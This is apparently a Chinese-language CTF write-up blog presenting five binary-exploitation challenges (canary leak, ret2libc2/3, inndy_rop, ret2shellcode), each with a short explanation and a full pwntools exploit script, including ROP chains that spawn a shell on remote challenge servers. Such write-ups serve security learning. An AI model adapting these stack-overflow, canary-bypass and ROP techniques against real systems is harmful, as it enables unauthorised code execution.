写在最前:不定期更新,从后往前的时间顺序。持续更新对题目的理解~

# 0x05 bugku_canary 点击下载

checksec 发现开了 canary,看汇编代码找 canary 在哪个位置。

1
2
3
4
5
6
7
8
.text:000000000040082C                 mov     rax, fs:28h
.text:0000000000400835 mov [rbp+var_8], rax
#在rax中能看到canary的值
.text:00000000004008EA mov rcx, [rbp+var_8]
.text:00000000004008EE xor rcx, fs:28h
.text:00000000004008F7 jz short locret_4008FE
.text:00000000004008F9 call ___stack_chk_fail
#函数的最后是一个判断,判断canary的值

** 思路:** 将 canary 低位的 ‘\x00’ 给覆盖掉, 就可以利用 % s 将其输出, leak 出来。一次泄露出 canary 的值,二利用 canary 的值绕过判断实现栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#r = process('./pwn4_')
r = remote('114.67.246.176',13490)
system_addr = 0x400660
binsh_addr = 0x601068
pop_rdi_ret = 0x400963
payload1 = 'a'*0x238
r.sendlineafter('Please leave your name(Within 36 Length):', payload1)#之前这里写成r.sendline(payload1)死活通不了
r.recvline()
canary = r.recv(7).rjust(8,'\x00')
print(canary)
payload2 = 'a'*0x208 +canary + 'a'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
r.sendline(payload2)
r.interactive()

# 0x04 ret2libc3 点击下载

思路:没有 system 函数没有 /bin/sh,知道 libc 中一个函数的地址就可以确定该程序利用的 libc 版本,从而知道其他函数的地址。

获得 libc 函数的地址常用方法:通过 got 表泄露,但是由于 libc 的延迟绑定,需要泄露的是已经执行过的函数。

总结如下:

①进行两次溢出,第一次将 puts 函数的 plt 地址放在返回地址处,可以泄露执行过的 puts 函数的 got 地址并被我们接受。

②将 *_*start 函数的地址设置成 puts 函数的返回地址,将 puts 函数的 got 地址设置为参数。(_start 函数是系统代码的入口,是程序真正的入口;main 函数是用户代码的入口,对于用户而言。)

③通过泄露函数的 got 地址来计算出 libc 中的 system 函数和 '/bin/sh' 的地址(原理:A 的真实地址 - A 偏移量 = B 真实地址 - B 偏移量 = 基地址

④回到了简单的 ret2libc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2=b'A'*112+p32(system_addr)+b'aaaa'+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()

# 0x03 ret2libc2 点击下载

** 思路:** 因为没有给 '/bin/sh' 所以要自己写入,有 system 函数。程序有 gets 就利用 gets 进行二次写入。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch = 'i386')
context.log_level='debug'
#r=remote("node3.buuoj.cn",25290)
r = process('./ret2libc2')
sys_addr = 0x08048490
gets_addr = 0x08048460
bss_addr = 0x0804A080
pop_ebx_addr = 0x0804843d
#payload = 'a'*112 + p32(gets_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
payload = 'a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(bss_addr) + p32(sys_addr) + 'bbbb' + p32(bss_addr)
#gdb.attach(r)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

payload 有两种写法:

1
2
payload = 'a'*112 + p32(gets_addr) + p32(sys_addr) + p32(bss_addr) +  p32(bss_addr)
payload = 'a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(bss_addr) + p32(sys_addr) + 'bbbb' + p32(bss_addr)

第一种:

填充完栈之后填返回地址,这里覆盖为 gets 的地址,然后布置 gets 的一个参数 buf 的地址。进入 gets 之后将 gets 的返回地址覆盖为 system 的地址,之前填入的 buf 的地址作为 system 的返回地址,然后再填入一个 buf 的地址作为 system 的参数。最后再 sendline 一个 '/bin/sh' 就 over 了。

第二种:

gets 的返回地址填一个 pop;ret 指令的地址,执行完 gets 之后运行 pop;ret,esp 就会下移两位到 system 函数里面,用 'bbbb' 作为 system 函数的虚拟地址,bss 作为 system 函数的参数。

# 0x02 inndy_rop 点击下载

1
2
3
4
5
6
[*] '/home/tsuppari/test/buuctf/pwn/inndy_rop/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开了 NX 堆栈不可执行。直接 F5 好像不得行,先在选项 -> 常规 -> 堆栈指针勾上,然后在下图这个位置右键编辑更改函数堆栈指针,SP 后面改为 - 0x10,就可以 F5 了。

主函数就是跳转到 overflow (),里面一个 gets () 函数。gets 函数存在栈溢出,且没有长度限制,直到读到 \x0a,也就是回车。程序中无后门函数,无 system () 函数,无 /bin/sh 字符串。

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。由于是静态编译程序会存在 int 0x80,可以使用中断调用系统函数。

简单来说就是,** 我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,我们在执行 int 0x80 就可执行对应的系统调用。** 附上系统调用表

1.read (0,bss,8) 读入 /bin/sh 2.execve ('/bin/sh',0,0) getshell

x86 (32-bit)

Compiled from Linux 4.14.0 headers.

NRsyscall namereferences%eaxarg0 (%ebx)arg1 (%ecx)arg2 (%edx)arg3 (%esi)arg4 (%edi)arg5 (%ebp)
3readman/ cs/0x03unsigned int fdchar *bufsize_t count---
11execveman/ cs/0x0bconst char *filenameconst char *const *argvconst char *const *envp---

因为内存中没有 read 函数,所以需要调用 read 函数来写入 '/bin/sh'。然后把 '/bin/sh' 的地址传入 execve 中。

调用需要找到 gadget,这里有两个工具可供使用,ROPgadget 和 ropper。

1
2
3
root@tsuppari:/home/tsuppari/test/buuctf/pwn/inndy_rop# ROPgadget --binary rop --only "pop|ret" | grep "eax"

root@tsuppari:/home/tsuppari/test/buuctf/pwn/inndy_rop# ropper --file rop --search "pop eax; ret"

ropper 速度会慢一点点但是没有关系,而且 ropper 可以找到 int 0x80;ret 但是 ROPgadget 不行。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
file_path='./inndy_rop'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget无法找到 ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret #定义寄存器的地址
pop_ebx_ret = 0x080481c9# : pop ebx ; ret #定义寄存器的地址
pop_ecx_ret = 0x080de769# : pop ecx ; ret #定义寄存器的地址
pop_edx_ret = 0x0806ecda# : pop edx ; ret #定义寄存器的地址
bss = 0x80e9000 #这里选择bss段 因为可读可写 地址用elf.bss() 之前需加上elf = ELF('./rop')

payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00') 读入长度
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=b
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x00
payload += p32(pop_edx_ret)+p32(0)#edx=0 读入长度
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430') 加上这个调试
p.sendline(payload)
print(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()

引用的是知乎大佬的 exp,结尾的 '/bin/sh' 需加上 \x00 作为结束符。

这题还可以用工具快速生成 rop 攻击链,涨姿势了。

1
2
ropper --file rop --chain execveropper --file rop --chain execve
ROPgadget --binary rop --ropchain

得到的 exp 如下,原理其实差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
from struct import pack

r=remote('node4.buuoj.cn',25576)
p='a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80


r.sendline(p)
r.interactive()

# 0x01 ret2shellcode 点击下载

1
2
3
4
5
6
7
8
pwndbg> checksec
[*]'/home/tsuppari/test/ctfwiki/ret2shellcode/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

直接解读 exp 吧:

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch = 'i386')
context.log_level='debug'
r = process('./ret2shellcode')
buf_addr=0x0804A080
shell = asm(shellcraft.sh())
payload = shell.ljust(112,'a') + p32(buf_addr)
r.sendline(payload)
r.interactive()

payload 的格式为:shellcode+'a'+buf_addr,shellcode+'a' 把栈和 ebp 覆盖。首先把 shell 放在 s 里面,也就是放在栈里面,再用字符 'a' 把栈填满并覆盖 ebp。

偏移的计算就用返回函数的地址减去开始填充的地址。

对因为 buf 在 bss 上,然后后面返回函数的地址就覆盖成 buf 的地址,栈后面就接着返回函数的地址栈溢出了就把返回函数的地址改变了。
然后 gets 完运行那个 retn,就直接 retn 到 bss 上执行 /bin/sh

編集日 閲覧数

*~( ̄▽ ̄)~[お茶]を一杯ください

tsuppari Alipay

Alipay

tsuppari PayPal

PayPal